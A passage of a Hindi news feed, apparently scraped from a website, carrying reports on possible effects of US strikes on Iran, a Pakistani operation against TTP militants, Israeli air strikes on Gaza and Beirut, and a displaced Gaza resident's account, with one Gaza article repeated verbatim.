ईरान होर्मुज जलडमरूमध्य में समुद्री सुरंगें बिछाकर इस अहम मार्ग को बंद करने की कोशिश कर सकता है। विश्व का लगभग 20-25% तेल और 20% तरलीकृत प्राकृतिक गैस (एलएनजी) इसी मार्ग से गुजरता है, जिसके रुकने से वैश्विक व्यापार और तेल की कीमतों पर भारी असर पड़ सकता है। हालांकि, कुछ विश्लेषणों का मानना है कि वर्तमान में वैश्विक तेल आपूर्ति पर्याप्त है और कीमतें कम हैं, इसलिए हमले के बाद कीमतों में उछाल सीमित हो सकता है।

3. ईरान के भीतर राजनीतिक बदलाव
अमेरिकी हमलों का प्रमुख मकसद ईरान के परमाणु और मिसाइल कार्यक्रमों को नष्ट करना और शासन परिवर्तन करना हो सकता है। ऐसी स्थिति में या तो ईरान में अयातुल्ला शासन में बदलाव हो सकता है या फिर सत्ता इस्लामिक रिवोल्यूशनरी गार्ड कोर (आईआरजीसी) जैसे कट्टरपंथी सैन्य गुटों के हाथ में जा सकती है।

4. मानवीय संकट
अगर संघर्ष के कारण ईरानी शासन पूरी तरह चरमरा जाता है, तो देश में गृहयुद्ध और जातीय संघर्ष (जैसे कुर्दों और बलूचियों के बीच) छिड़ सकता है। लगभग 9.3 करोड़ की आबादी वाले इस देश में अराजकता से बड़े पैमाने पर मानवीय और शरणार्थी संकट पैदा हो सकता है।

 

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पाकिस्तान में टला पुलवामा जैसी वारदात, TTP के 3 आतंकी ढेर https://pratyushaashakinayikiran.com/?p=187444 Sun, 26 Oct 2025 11:55:00 +0000 https://pratyushaashakinayikiran.com/?p=187444 पाकिस्तान

पाकिस्तान के सुरक्षा बलों ने उत्तर-पश्चिमी खैबर पख्तूनख्वा प्रांत के उत्तरी वजीरिस्तान जिले में आत्मघाती हमले की कथित साजिश में शामिल तीन आतंकियों को मार दिया। ‘इंटर-सर्विसेज पब्लिक रिलेशंस’ (ISPR) द्वारा शनिवार को जारी एक बयान में कहा गया है कि सुरक्षा बलों ने जिले के झल्लार क्षेत्र में खुफिया सूचना पर आधारित ऑपरेशन (IBO) के तहत एक ‘बड़ी आतंकवादी घटना को नाकाम कर दिया और एक संभावित विनाशकारी हमले को टाल दिया।’

यह अभियान ‘फितना अल-खवारिज’ से संबंधित आतंकवादियों की उपस्थिति के बारे में विश्वसनीय खुफिया जानकारी पर आधारित था। ये आतंकी एक बड़ी आतंकवादी गतिविधि के लिए वाहन पर बम लगाकर आत्मघाती हमला करने की तैयारी कर रहे थे। ‘फितना अल-खवारिज’ शब्द का इस्तेमाल पाकिस्तान सरकार प्रतिबंधित तहरीक-ए-तालिबान पाकिस्तान (टीटीपी) से जुड़े आतंकवादियों के लिए करती है।

बयान में कहा गया है कि सैनिकों ने आतंकवादियों के ठिकानों पर उनका प्रभावी ढंग से मुकाबला किया और आत्मघाती हमले के लिए तैयार किए जा रहे वाहन को नष्ट कर दिया तथा मुठभेड़ में तीन आतंकवादियों को मार गिराया।आईएसपीआर ने कहा कि इलाके में तलाश अभियान जारी है ताकि इलाके में यदि कोई और आतंकवादी हैं तो उन्हें भी खत्म किया जा सके।

बता दें कि टीटीपी को लेकर ही इन दिनों पाकिस्तान और अफगानिस्तान के बीच तनाव चरम पर है। पाकिस्तान के आरोप है कि अफगानिस्तान टीटीपी को पनाह देता है और पाकिस्तान में दहशतगर्दी में समर्थन करता है। वहीं अफगानिस्तान ने पाकिस्तान के आरोपो को शिरे से खारिज किया है। तुर्की में पाक और अफगान के बीच बातचीत के दौरान पाकिस्तानी रक्षा मंत्री ख्वाजा आसिफ ने खुली जंग में उतरने की धमकी तक दे डाली। गौरतलब है कि इससे पहले दोनों देश दोहा वार्ता कर चुके हैं और तब संघर्ष विराम का ऐलान कर दिया गया था।

 

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इजरायल के ताजा हमले में फिलिस्तीन के 200 नागरिकों की मौत https://pratyushaashakinayikiran.com/?p=141255 Tue, 18 Mar 2025 07:39:00 +0000 https://pratyushaashakinayikiran.com/?p=141255  गाजा

जराइल ने मंगलवार सुबह गाजा पट्टी क्षेत्र में हमास के ठिकानों को निशाना बनाते हुए सिलसिलेवार हवाई हमले किए। फिलिस्तीनी अधिकारियों ने हमले में कम से कम 200 से अधिक लोगों की मौत की जानकारी दी है। कहा जा रहा है जनवरी में युद्धविराम के प्रभावी होने के बाद से यह गाजा में अब तक का सबसे भीषणतम हमला है। प्रधानमंत्री बेंजामिन नेतन्याहू ने कहा कि युद्धविराम को बढ़ाने के लिए वार्ता में कोई खास प्रगति नहीं होने के कारण उन्होंने हमले का आदेश दिया। नेतन्याहू के कार्यालय ने कहा, ‘‘इजराइल अब सैन्य ताकत बढ़ाकर हमास के खिलाफ कार्रवाई करेगा।’’

फिर से संघर्ष जारी होने की आशंका

रातभर हुए हमलों ने शांति का दौर खत्म कर दिया है और 17 माह से जारी संघर्ष के फिर से शुरू होने की आशंका को बढ़ा दिया है जिसमें 48,000 से ज्यादा फलस्तीनी मारे गए थे और गाजा तबाह हो गया। हमास द्वारा बंधक बनाकर रखे गए लगभग 24 इजराइली नागरिकों के भविष्य के बारे में इजराइल के हमलों के कारण संशय की स्थिति पैदा हो गई है जिनके बारे में माना जाता है कि वे अब भी जीवित हैं। हमास ने एक बयान में इजराइल की ओर से किए गए हमलों की निंदा की और कहा कि इन हमलों ने बंधकों के भविष्य को खतरे में डाल दिया है।

'बेगुनाह लोगों के खिलाफ…'

हमास के एक अधिकारी ताहिर नुनू ने इजरायली हमलों की आलोचना की है. उन्होंने कहा, "अंतर्राष्ट्रीय समुदाय का मोरल टेस्ट हो रहा है, या तो वह कब्जे वाली सेना द्वारा किए गए अपराधों की वापसी की अनुमति दे या फिर गाजा में बेगुनाह लोगों के खिलाफ आक्रामकता और जंग को खथ्म करने की प्रतिबद्धता को लागू करे." गाजा में तमाम जगहों पर विस्फोटों की आवाजें सुनी जा सकती थीं और मिडिल गाजा के अल-अक्सा हॉस्पिटल में एम्बुलेंस पहुंच रही थीं."

युद्ध विराम को लेकर क्या हुआ था?

जंग को रोकने के लिए युद्ध विराम पर सहमति बनने के दो महीने बाद ताजे हमले  हुए हैं. छह हफ्ते में हमास ने करीब 2,000 फिलिस्तीनी कैदियों के बदले में करीब तीन दर्जन बंधकों को रिहा किया. लेकिन दो हफ्ते पहले युद्ध विराम का पहला चरण खत्म होने के बाद से, दोनों पक्ष करीब 60 बचे बंधकों को रिहा करने और युद्ध को पूरी तरह से खत्म करने के मकसद से दूसरे चरण के साथ आगे बढ़ने के तरीके पर सहमत नहीं हो पाए हैं.

नेतन्याहू ने बार-बार जंग को फिर से शुरू करने की धमकी दी है और इस महीने की शुरुआत में हमास पर दबाव बनाने के लिए घेरे हुए क्षेत्र में सभी खाद्य और सहायता डिलीवरी को रोक दिया.
 

हमास ने कही ये बात

वहीं, एक इजराइली अधिकारी ने नाम उजागर न करने की शर्त पर बताया कि इजराइल हमास के उग्रवादियों, इसके नेताओं और बुनियादी ढांचों पर हमला कर रहा है तथा हवाई हमलों से परे अभियान को और बढ़ाने की योजना बना रहा है। इस बीच हमास ने चेतावनी दी है कि मंगलवार की सुबह इजरायल के नए हवाई हमलों ने उनके बीच हुए सीजफायर को तोड़ दिया है। उसने साथ ही धमकी भरे अंदाज में यह भी कहा कि इजरायल की इस हरकत ने बंधकों के भाग्य को खतरे में डाल दिया है। वहीं, इजरायल ने कहा कि उसने सीजफायर को बढ़ाने के लिए चल रही बातचीत में कोई प्रगति न देखते हुए गाजा पट्टी में हवाई हमले किए हैं।

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इजरायल के ताजा हमले में फिलिस्तीन के 200 नागरिकों की मौत https://pratyushaashakinayikiran.com/?p=141256 Tue, 18 Mar 2025 07:39:00 +0000 https://pratyushaashakinayikiran.com/?p=141256  गाजा

जराइल ने मंगलवार सुबह गाजा पट्टी क्षेत्र में हमास के ठिकानों को निशाना बनाते हुए सिलसिलेवार हवाई हमले किए। फिलिस्तीनी अधिकारियों ने हमले में कम से कम 200 से अधिक लोगों की मौत की जानकारी दी है। कहा जा रहा है जनवरी में युद्धविराम के प्रभावी होने के बाद से यह गाजा में अब तक का सबसे भीषणतम हमला है। प्रधानमंत्री बेंजामिन नेतन्याहू ने कहा कि युद्धविराम को बढ़ाने के लिए वार्ता में कोई खास प्रगति नहीं होने के कारण उन्होंने हमले का आदेश दिया। नेतन्याहू के कार्यालय ने कहा, ‘‘इजराइल अब सैन्य ताकत बढ़ाकर हमास के खिलाफ कार्रवाई करेगा।’’

फिर से संघर्ष जारी होने की आशंका

रातभर हुए हमलों ने शांति का दौर खत्म कर दिया है और 17 माह से जारी संघर्ष के फिर से शुरू होने की आशंका को बढ़ा दिया है जिसमें 48,000 से ज्यादा फलस्तीनी मारे गए थे और गाजा तबाह हो गया। हमास द्वारा बंधक बनाकर रखे गए लगभग 24 इजराइली नागरिकों के भविष्य के बारे में इजराइल के हमलों के कारण संशय की स्थिति पैदा हो गई है जिनके बारे में माना जाता है कि वे अब भी जीवित हैं। हमास ने एक बयान में इजराइल की ओर से किए गए हमलों की निंदा की और कहा कि इन हमलों ने बंधकों के भविष्य को खतरे में डाल दिया है।

'बेगुनाह लोगों के खिलाफ…'

हमास के एक अधिकारी ताहिर नुनू ने इजरायली हमलों की आलोचना की है. उन्होंने कहा, "अंतर्राष्ट्रीय समुदाय का मोरल टेस्ट हो रहा है, या तो वह कब्जे वाली सेना द्वारा किए गए अपराधों की वापसी की अनुमति दे या फिर गाजा में बेगुनाह लोगों के खिलाफ आक्रामकता और जंग को खथ्म करने की प्रतिबद्धता को लागू करे." गाजा में तमाम जगहों पर विस्फोटों की आवाजें सुनी जा सकती थीं और मिडिल गाजा के अल-अक्सा हॉस्पिटल में एम्बुलेंस पहुंच रही थीं."

युद्ध विराम को लेकर क्या हुआ था?

जंग को रोकने के लिए युद्ध विराम पर सहमति बनने के दो महीने बाद ताजे हमले  हुए हैं. छह हफ्ते में हमास ने करीब 2,000 फिलिस्तीनी कैदियों के बदले में करीब तीन दर्जन बंधकों को रिहा किया. लेकिन दो हफ्ते पहले युद्ध विराम का पहला चरण खत्म होने के बाद से, दोनों पक्ष करीब 60 बचे बंधकों को रिहा करने और युद्ध को पूरी तरह से खत्म करने के मकसद से दूसरे चरण के साथ आगे बढ़ने के तरीके पर सहमत नहीं हो पाए हैं.

नेतन्याहू ने बार-बार जंग को फिर से शुरू करने की धमकी दी है और इस महीने की शुरुआत में हमास पर दबाव बनाने के लिए घेरे हुए क्षेत्र में सभी खाद्य और सहायता डिलीवरी को रोक दिया.
 

हमास ने कही ये बात

वहीं, एक इजराइली अधिकारी ने नाम उजागर न करने की शर्त पर बताया कि इजराइल हमास के उग्रवादियों, इसके नेताओं और बुनियादी ढांचों पर हमला कर रहा है तथा हवाई हमलों से परे अभियान को और बढ़ाने की योजना बना रहा है। इस बीच हमास ने चेतावनी दी है कि मंगलवार की सुबह इजरायल के नए हवाई हमलों ने उनके बीच हुए सीजफायर को तोड़ दिया है। उसने साथ ही धमकी भरे अंदाज में यह भी कहा कि इजरायल की इस हरकत ने बंधकों के भाग्य को खतरे में डाल दिया है। वहीं, इजरायल ने कहा कि उसने सीजफायर को बढ़ाने के लिए चल रही बातचीत में कोई प्रगति न देखते हुए गाजा पट्टी में हवाई हमले किए हैं।

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इजरायल के गाजा पर हमले से 23 लाख नागरिक विस्थापित हुए https://pratyushaashakinayikiran.com/?p=84246 Mon, 14 Oct 2024 14:46:00 +0000 https://pratyushaashakinayikiran.com/?p=84246 गाजा

पिछले एक साल से ज्यादा वक्त से फिलिस्तीन में इजरायल का हमला जारी है, जिसमें हजारों नागरिकों की मौत हो चुकी है. इजरायल के हमले से मरने वालों में महिलाएं और बच्चे ज्यादा हैं. Al Jazeera की रिपोर्ट के मुताबिक, नॉर्थ गाजा में करीब 400,000 फिलिस्तीनी फंसे हुए हैं और इजराइली सेना के निकासी आदेश जारी करने के बावजूद किसी को भी इलाके को छोड़ने की अनुमति नहीं दे रही है. ऐसे में कहानी एक ऐसी फिलिस्तीनी महिला और उसके परिवार की, जिसको जंग के पिछले एक साल में 14 बार विस्थापित होने को मजबूर होना पड़ा.

पीड़ित महिला सबरीन ने Al Jazeera से बात करते हुए कहा, "जंग से पहले मैं एक शानदार जिंदगी गुजार रही थी. एक ऐसी जिंदगी, जिसमें इज्जत थी. अल्लाह के शुक्र से हम खुशहाल थे. मेरे पति एक मछुआरे थे, हमें और कुछ नहीं चाहिए था. मेरी पोती खुश थी, वह अपने स्कूल जाती थी लेकिन जंग ने सब ठप कर दिया."

'जिंदा रहने की कोशिश में भटकने को मजबूर…'

इजरायल के पहले हमले में सबरीन को गाजा शहर में बना अपना घर छोड़ने को मजबूर होना पड़ा. उन्होंने पहले भी अपने परिवार के साथ नॉर्थ गाजा में शरण ली थी लेकिन आगे साउथ की तरफ जाने के बाद उन्हें जिंदा रहने की कोशिश में बार-बार साउथ और फिर सेंट्रल गाजा को पार करना पड़ा.

फिलिस्तीनी नागरिक सबरीन आगे कहती हैं, "मैं आपको विस्थापन के बारे में बताती हूं. आप पर अत्याचार किया जाता है, यह बहुत महंगा है, हम लोगों से लोन लेते हैं ताकि हम एक जगह से निकल कर दूसरी जगह जा सकें. विस्थापन की शुरुआत से लेकर अब तक चुकाने के लिए बहुत सारे लेन हैं और मेरे नाम पर भी कुछ नहीं बचा है. यह इस हद तक पहुंच गया है कि मुझे अपनी बेटी और अपनी नातिन का गोल्ड बेचना पड़ा है. अब जो बचा है, वह है मेरी नातिन का कंगन, उसकी अंगूठी और झुमके हैं."

जब सीजफायर होने की खबर आई, तो उन्होंने घर जाने के लिए अपनी जान जोखिम में डालकर नॉर्थ की ओर लौटने की कोशिश की.

'हम छोटी लड़कियों के लिए डरे हुए थे…'

सबरीन अपना दर्दनाक एक्सपीरिएंस शेयर करते हुए कहती हैं, "मैंने बच्चे और लड़कियों, अपनी मां और बेटी, बहन और अपनी भतीजी को लिया और हम चल पड़े. हम सेना की चौकियों के पास दो सड़कों पर पहुंचे. मैंने कोई सैनिक नहीं देखा लेकिन फिर सैनिक आ गए, लगभग तीस सैनिक हमें रुकने के लिए कह रहे थे. उन्होंने हमसे पूछा कि हम पहले क्यों नहीं आए, हमसे पहले कुछ लोग अंदर आ गए. मैं दो घंटे बाद वापस लौटी, फिर स्नाइपर्स ने मुझ पर गोलियां चलानी शुरू कर दीं. लाइव गोला बारूद. हम अपने छोटे बच्चों, छोटी लड़कियों के लिए डरे हुए थे, लेकिन मैं अपने चारों ओर गोलीबारी के बावजूद भी चल रहे थेय एक युवक आया और मुझे खींचकर ले गया."

अन्य लोगों की तरह, सबरीन ने भी गाजा में इजरायल के नरसंहार की वजह से अपने कई रिश्तेदारों को खो दिया है और बार-बार विस्थापन के कारण उन्हें शोक मनाने भी वक्त सही से नहीं मिल सका है.

'23 लाख नगारिक हुए विस्थापित'

सबरीन कहता हैं, "हमारे रिश्तेदारों में से बहुत से शहीद हुए हैं. मेरी बहन का पति, उसका बेटा भी, मेरे चाचा के बेटे और चाची के बेटे सहित कई लोग. हमला होने के बाद हमें अपने बच्चों के साथ निकलना पड़ा. हमने शहीदों को दफना दिया और हम साउथ की तरफ गए."

गाजा के करीब 23 लाख नागरिक कम से कम एक बार जरूर विस्थापित हुए हैं. सबरीन की तरह कई लोगों को इजरायली हमलों की वजह से कई बार विस्थापित होना पड़ा है. गाजा का ज्यादातर इलाका इजरायली सेना के विस्थापन आदेशों का सामना कर रहा है, लोगों का कहना है कि उनके पास भागने के लिए जगह नहीं बची है.

सबरीन दर्द बयां करते हुए कहती हैं, "हम उम्मीद करते हैं कि गाजा फिर से पहले की तरह हो जाए. फिर से बनाया जाए, फिर से सुकून और सुरक्षित महसूस करें, दूसरे अरब देशों की तरह. हमारे बच्चे दूसरे देशों के बच्चों की तरह शानदार जिंदगी गुजार सकें. हमें सुरक्षित रहने का अधिकार है, हमें अपने घर लौटने का अधिकार है.

 

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ईरान ने अमेरिकी सहयोगियों हमला का जवाब हमला से देने की धमकी दी https://pratyushaashakinayikiran.com/?p=83103 Fri, 11 Oct 2024 20:16:00 +0000 https://pratyushaashakinayikiran.com/?p=83103
  •  ईरान ने अमेरिकी सहयोगियों हमला का जवाब हमला से देने की धमकी दी
  • बेरूत: इजरायली एयर स्रा सइक में 22 की मौत, हिजबुल्लाह कमांडर बच निकलने में रहा कामयाब
  • बेरूत पर इजरायली हवाई हमलों में मरने वालों की संख्या बढ़कर 22 हुई, 117 घायल
  • तेहरान/तेल अवीव
     ईरान ने गुप्त राजनयिक चैनलों के माध्यम से फारस की खाड़ी और मध्य पूर्व में अमेरिकी सहयोगियों पर हमला करने की धमकी दी है। तेहरान ने कहा कि अगर उनके क्षेत्रों या हवाई क्षेत्रों का उपयोग ईरान पर हमला करने के लिए किया जाता है तो वह इसका जवाब हमला से देगा। यह जानकारी वॉल स्ट्रीट जर्नल ने अरब अधिकारियों के हवाले से दी।

    रिपोर्ट में गुरुवार को कहा गया कि तेहरान ने जॉर्डन, संयुक्त अरब अमीरात, सऊदी अरब और कतर को संबंधित चेतावनी भेजी है। इन देशों ने कथित रूप से अमेरिकी राष्ट्रपति जो बाइडेन प्रशासन को सूचित किया है कि वे ईरान के खिलाफ किसी भी आक्रामक कार्रवाई के लिए अमेरिका और इज़रायल को अपने सैन्य संरचना या हवाई क्षेत्र प्रदान नहीं करना चाहते हैं।

    पिछले सप्ताह, ईरानी सशस्त्र बलों के जनरल स्टाफ ने कहा था कि “अमेरिका सहित इज़रायल का समर्थन करने वाले देशों का सीधा हस्तक्षेप और ईरान के खिलाफ उनकी आक्रामकता की स्थिति में, मध्य पूर्व में उनके ठिकानों और हितों को एक साथ एक शक्तिशाली हमले का सामना करना पड़ेगा।”

    उत्तरी गाजा में तीन सैन्यकर्मियों की मौत : आईडीएफ

     इज़रायल रक्षा बल (आईडीएफ) ने  कहा कि उत्तरी गाजा पट्टी में उसके तीन रिजर्व सैनिक मारे गए।
    आईडीएफ ने सैनिकों के नाम भी प्रकाशित किए, जो कि 5460 प्रशासनिक सहायता इकाई के सदस्य थे।
    इज़रायली सेना रेडियो ने कहा कि जबालिया क्षेत्र में एक आपूर्ति मार्ग पर एक विस्फोटक उपकरण में विस्फोट होने से तीन सैनिक मारे गए।
    इस सप्ताह की शुरुआत में, आईडीएफ ने जबालिया क्षेत्र में एक नए आतंकवाद विरोधी अभियान की घोषणा की थी।
    उल्लेखनीय है कि 07 अक्टूबर, 2023 को मध्य पूर्व में शुरू हुए संघर्ष के बाद से, इज़रायल ने विभिन्न मोर्चों पर 734 सैनिकों को खो दिया है, जिसमें गाजा पट्टी में जमीनी अभियानों में मारे गए लगभग 350 सैनिक भी शामिल हैं।

    बेरूत पर इजरायली हवाई हमलों में मरने वालों की संख्या बढ़कर 22 हुई, 117 घायल

    मध्य बेरूत के घनी आबादी वाले इलाके अल-नुएरी को निशाना बनाकर  शाम किए गए इजरायली हवाई हमले में मरने वालों की संख्या बढ़कर 22 हो गई है और 117 लोग घायल हुए हैं। लेबनानी स्वास्थ्य मंत्रालय ने अपने नवीनतम अपडेट में यह जानकारी दी।
    अल जज़ीरा टीवी चैनल के अनुसार, हवाई हमले का लक्ष्य कथित रूप से हिजबुल्लाह के संपर्क और समन्वय इकाई के प्रमुख वाफिक सफा को निशाना बनाना था लेकिन वह हमले में बच गए।
    यह तीसरी बार है जब इज़रायल ने अल कोला और अल-बचौरा क्षेत्रों पर हमले के बाद लेबनान की राजधानी बेरूत को निशाना बनाया है।
    इज़रायल ने हाल ही में बेरूत और उसके उपनगरों पर अपने हवाई हमले तेज कर दिए हैं, मुख्य रूप से हिजबुल्लाह के अधिकारियों और सुविधाओं को निशाना बनाया है।
    इजरायल और हिजबुल्लाह के बीच संघर्ष एक साल पहले तब शुरू हुआ था जब हिजबुल्लाह ने गाजा युद्ध की शुरुआत में हमास के समर्थन में इजराइल पर रॉकेटों की बौछार की थी।

    बेरूत: इजरायली एयर स्रा सइक में 22 की मौत, हिजबुल्लाह कमांडर बच निकलने में रहा कामयाब
     बेरूत के घनी आबादी वाले क्षेत्र अल-नूइरी को निशाना बनाकर की गई इजरायली एयर स्ट्राइक में मरने वालों की संख्या कम से कम 22 हो गई और 117 लोग घायल हुए हैं। लेबनान के स्वास्थ्य मंत्रालय ने अपने नवीनतम अपडेट में यह जानकारी दी ।

     एयर स्ट्राइक कथित तौर पर हिजबुल्लाह के संपर्क और कोऑर्डिनेशन यूनिट के प्रमुख वाफिक सफा को निशाना बनाकर की गई। हालांकि सफा हमले में बच गया।

    सिन्हुआ समाचार एजेंसी ने अल जजीरा टीवी चैनल के हवाले से बताया कि यह तीसरी बार है जब इजरायल ने अल कोला और अल-बचौरा इलाकों पर हमला करने के बाद लेबनान की राजधानी बेरूत को निशाना बनाया।

    रॉयटर्स की शुक्रवार की एक रिपोर्ट के मुताबिक लेबनान सरकार ने अपने दैनिक अपडेट में कहा कि पिछले साल से लेबनान में जारी इजरायली हमलों में कम से कम 2,169 लोग मारे गए। इनमें से ज्यादातर की मौत 23 सितंबर के बाद हुई, जब इजरायल ने अपने सैन्य अभियान का विस्तार किया। मृतकों की संख्या में नागरिकों और लड़ाकों के बीच अंतर नहीं किया गया।

    बता दें 23 सितंबर से, इजरायल ने लेबनान में हवाई हमले तेज कर दिए। उसका कहना है कि यह कार्रवाई लेबानानी संगठन हिजबुल्ला के खात्मे के लिए की जा रही है।

    27 सितंबर को बेरूत के दक्षिणी उपनगर में एक महत्वपूर्ण हमले में हिजबुल्लाह चीफ हसन नसरल्लाह और उसके कई सहयोगी मारे गए। वहीं इजरायल ने दक्षिणी लेबनान में जमीनी सैन्य अभियान भी शुरू कर दिया।

    इजरायली हमलों की वजह से लेबनान में लाखों लोग विस्थापित हुए हैं।

    8 अक्टूबर, 2023 को हिजबुल्लाह ने गाजा में हमास के प्रति एकजुटता जाहिर करते हुए इजरायल पर रॉकेट दागने शुरू किए थे। नवीनतम घटनाक्रम इसी संघर्ष का विस्तार है।

    पिछले साल 7 अक्टूबर को हमास ने इजरायल पर एक बड़ा हमला किया था जिसमें करीब 1200 लोगों की मौत हुई थी जबकि 250 से ज्यादा लोगों को बंधक बना लिया गया। ऐसा माना जाता है कि 100 से अधिक बंधक अब भी गाजा में है।

    इस हमले के बाद इजरायल ने हमास के कंट्रोल वाली गाजा पट्टी में सैन्य कार्रवाई शुरू कर दी। अलजजीरा की शुक्रवार की एक रिपोर्ट के मुताबिक अक्टूबर 2023 से अब तक गाजा में इजरायली हमलों में कम से कम 42,065 लोग मारे गए हैं और 97,886 घायल हुए हैं।

     

     

     

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